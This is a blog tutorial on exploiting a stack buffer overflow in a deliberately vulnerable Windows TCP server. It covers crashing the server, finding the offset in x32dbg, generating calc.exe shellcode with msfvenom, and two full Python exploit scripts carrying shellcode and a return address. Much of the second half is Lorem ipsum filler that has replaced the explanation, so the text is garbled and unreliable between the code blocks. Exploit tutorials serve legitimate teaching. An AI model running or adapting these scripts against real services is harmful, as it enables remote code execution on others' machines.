Exploiting a Stack Buffer Overflow on Windows
In a previous tutorial we discusses how we can exploit a buffer overflow vulnerability on a Linux machine. I wen through all theories in depth and explained each step.
Now today we are going to jump into the windows world. Windows is a most targeted surface for many exploit developers since it is the famous operating system of most users.
I strongly advise you to go and read that tutorial before trying to understand this one. :)
In this blog post, we'll dive into Windows 32-bit exploit development by exploiting a buffer overflow vulnerability in a simple TCP server.
So as the first step lets understand what this code does.
void handle_client(SOCKET client) {
char buffer[512];
int recv_size;
// Vulnerable: no bounds checking!
recv_size = recv(client, buffer, 1024, 0);
if (recv_size == SOCKET_ERROR) {
printf("recv failed\n");
closesocket(client);
return;
}
buffer[recv_size] = '\0';
printf("Received: %s\n", buffer);
closesocket(client);
}
I'm listing the interested part of code above. It captures the incoming data. Then copies those data into a pre defined buffer space. Note that the size of the allocated buffer is fixed to 512 bytes.
it allocates a 512-byte buffer but allows up to 1024 bytes to be received without bounds checking, potentially overwriting critical memory. Our goal is to compile the server, crash it with a large payload, and observe how we can gain some advantage of this.
Now, lets compile it with gcc and run it. I'm using windows 7 32bit operating system as my target machine. Therefore I'm compiling the server on that machine.

Awesome our server is up and running as expected. It's time to test it.
thilan@macbook:~$ nc 192.168.64.15 9999
hello
I'm using netcat to open a connection and send some data. I'm sending to the target machine's ip address 192.168.64.15 via the port 9999.
It is just a. small size string.

Nice it could successfully capture the data and print it to the console. Now its time to do naughty things. :)
Let's send a large sized data and see what happens.
thilan@macbook:~$ python3 -c "print('A' * 1000)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ...
I'm using python to generate a large payload and send it though netcat. See what happens.

Oops. It crashed. Additionally it throws an error message.
Fine. Now it's time to do advanced stuff. We need to understand the theory behind the overflow. In our linux buffer overflow tutorial we used GDB tool to analyze the program.
For windows environment we have some options such as immunity debugger, x32dbg etc.
In this tutorial we are going to use x32dbg Debugger.

I launched x32dbg debugger and opened the target vulnerable application inside it.
The debugger interface is so informative and we can see many sections. I can list down the most important segments as bellow.
- The CPU registers section
- Memory dump
- CPU instruction section
- Stack View
The bellow section contains the CPU instructions view.

It displays the assembly instructions currently being executed and shows addresses, opcodes, mnemonics, and comments.
We can set breakpoints, step through instructions, or follow jumps here.
Next important section is the CPU register window.

This section shows all CPU registers and their current values:
- General-purpose: EAX, EBX, ECX, EDX, ESI, EDI, EBP, ESP
- Instruction pointer: EIP
- Segment registers: CS, DS, ES, FS, GS, SS
- Flags register: EFLAGS (and decoded flags like ZF, SF, CF, etc.)
We can double-click a register to modify its value.
Okay.. enough stuff about the debugger. Now we need to move into the actual task. As the next step we are going to understand how we can gain the control of the EIP by overwriting it.
Lets use a character pattern to identify how much bytes do we need as the padding. We can use the same tool we used in previous tutorial.

Generate the character pattern, feed it into the vulnerable server and observe the value of EBP or EIP.
In this case I got to know that the value of EBP is 35724134. I gave this value back to the tool and got the value 524.
Great, Now we know to reach EBP we need 524 padding bytes. To fill EBP we need four more bytes.

Let's craft a payload for this situation.
thilan@macbook:~$ python3 -c "print('A' * 524 + 'B' * 4 + 'C' * 4)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
I again used Python to generate the payload. Lets feed this to the server and see what happens.

We can see the EBP is overwrote with 42424242. That means four Bs. The EIP is overwrote with 43434343 that means four Cs.
furthermore if we look at the stack section we can see a bunch of 41s. Those represents the As we used as the padding.

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum
thilan@macbook:~ $ msfvenom -p windows/exec CMD=calc.exe -f python -a x86 --platform windows -b "\x00"
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

import socket
ip = "192.168.64.15"
port = 9999
offset = 524
ret_address = b"\xB0\x12\x50\x62"
nop_sled = b"\x90" * 16
shellcode = b""
shellcode += b"\xda\xd4\xb8\x8e\xca\x73\xdc\xd9\x74\x24\xf4\x5b"
shellcode += b"\x2b\xc9\xb1\x31\x31\x43\x18\x83\xc3\x04\x03\x43"
shellcode += b"\x9a\x28\x86\x20\x4a\x2e\x69\xd9\x8a\x4f\xe3\x3c"
shellcode += b"\xbb\x4f\x97\x35\xeb\x7f\xd3\x18\x07\x0b\xb1\x88"
shellcode += b"\x9c\x79\x1e\xbe\x15\x37\x78\xf1\xa6\x64\xb8\x90"
shellcode += b"\x24\x77\xed\x72\x15\xb8\xe0\x73\x52\xa5\x09\x21"
shellcode += b"\x0b\xa1\xbc\xd6\x38\xff\x7c\x5c\x72\x11\x05\x81"
shellcode += b"\xc2\x10\x24\x14\x59\x4b\xe6\x96\x8e\xe7\xaf\x80"
shellcode += b"\xd3\xc2\x66\x3a\x27\xb8\x78\xea\x76\x41\xd6\xd3"
shellcode += b"\xb7\xb0\x26\x13\x7f\x2b\x5d\x6d\x7c\xd6\x66\xaa"
shellcode += b"\xff\x0c\xe2\x29\xa7\xc7\x54\x96\x56\x0b\x02\x5d"
shellcode += b"\x54\xe0\x40\x39\x78\xf7\x85\x31\x84\x7c\x28\x96"
shellcode += b"\x0d\xc6\x0f\x32\x56\x9c\x2e\x63\x32\x73\x4e\x73"
shellcode += b"\x9d\x2c\xea\xff\x33\x38\x87\x5d\x59\xbf\x15\xd8"
shellcode += b"\x2f\xbf\x25\xe3\x1f\xa8\x14\x68\xf0\xaf\xa8\xbb"
shellcode += b"\xb5\x40\xe3\xe6\x9f\xc8\xaa\x72\xa2\x94\x4c\xa9"
shellcode += b"\xe0\xa0\xce\x58\x98\x56\xce\x28\x9d\x13\x48\xc0"
shellcode += b"\xef\x0c\x3d\xe6\x5c\x2c\x14\x85\x03\xbe\xf4\x64"
shellcode += b"\xa6\x46\x9e\x78"
payload = nop_sled + shellcode + b"A" * (offset - len(nop_sled) - len(shellcode)) + b"A" * 4 + ret_address
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(payload)
s.close()
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

import socket
ip = "192.168.64.15"
port = 9999
offset = 524
ret_address = b"\xB0\x12\x50\x62"
nop_sled = b"\x90" * 16
shellcode = b""
shellcode += b"\xda\xd4\xb8\x8e\xca\x73\xdc\xd9\x74\x24\xf4\x5b"
shellcode += b"\x2b\xc9\xb1\x31\x31\x43\x18\x83\xc3\x04\x03\x43"
shellcode += b"\x9a\x28\x86\x20\x4a\x2e\x69\xd9\x8a\x4f\xe3\x3c"
shellcode += b"\xbb\x4f\x97\x35\xeb\x7f\xd3\x18\x07\x0b\xb1\x88"
shellcode += b"\x9c\x79\x1e\xbe\x15\x37\x78\xf1\xa6\x64\xb8\x90"
shellcode += b"\x24\x77\xed\x72\x15\xb8\xe0\x73\x52\xa5\x09\x21"
shellcode += b"\x0b\xa1\xbc\xd6\x38\xff\x7c\x5c\x72\x11\x05\x81"
shellcode += b"\xc2\x10\x24\x14\x59\x4b\xe6\x96\x8e\xe7\xaf\x80"
shellcode += b"\xd3\xc2\x66\x3a\x27\xb8\x78\xea\x76\x41\xd6\xd3"
shellcode += b"\xb7\xb0\x26\x13\x7f\x2b\x5d\x6d\x7c\xd6\x66\xaa"
shellcode += b"\xff\x0c\xe2\x29\xa7\xc7\x54\x96\x56\x0b\x02\x5d"
shellcode += b"\x54\xe0\x40\x39\x78\xf7\x85\x31\x84\x7c\x28\x96"
shellcode += b"\x0d\xc6\x0f\x32\x56\x9c\x2e\x63\x32\x73\x4e\x73"
shellcode += b"\x9d\x2c\xea\xff\x33\x38\x87\x5d\x59\xbf\x15\xd8"
shellcode += b"\x2f\xbf\x25\xe3\x1f\xa8\x14\x68\xf0\xaf\xa8\xbb"
shellcode += b"\xb5\x40\xe3\xe6\x9f\xc8\xaa\x72\xa2\x94\x4c\xa9"
shellcode += b"\xe0\xa0\xce\x58\x98\x56\xce\x28\x9d\x13\x48\xc0"
shellcode += b"\xef\x0c\x3d\xe6\x5c\x2c\x14\x85\x03\xbe\xf4\x64"
shellcode += b"\xa6\x46\x9e\x78"
payload = b"A" * offset + b"B" * 4 + ret_address + nop_sled + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(payload)
s.close()
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum





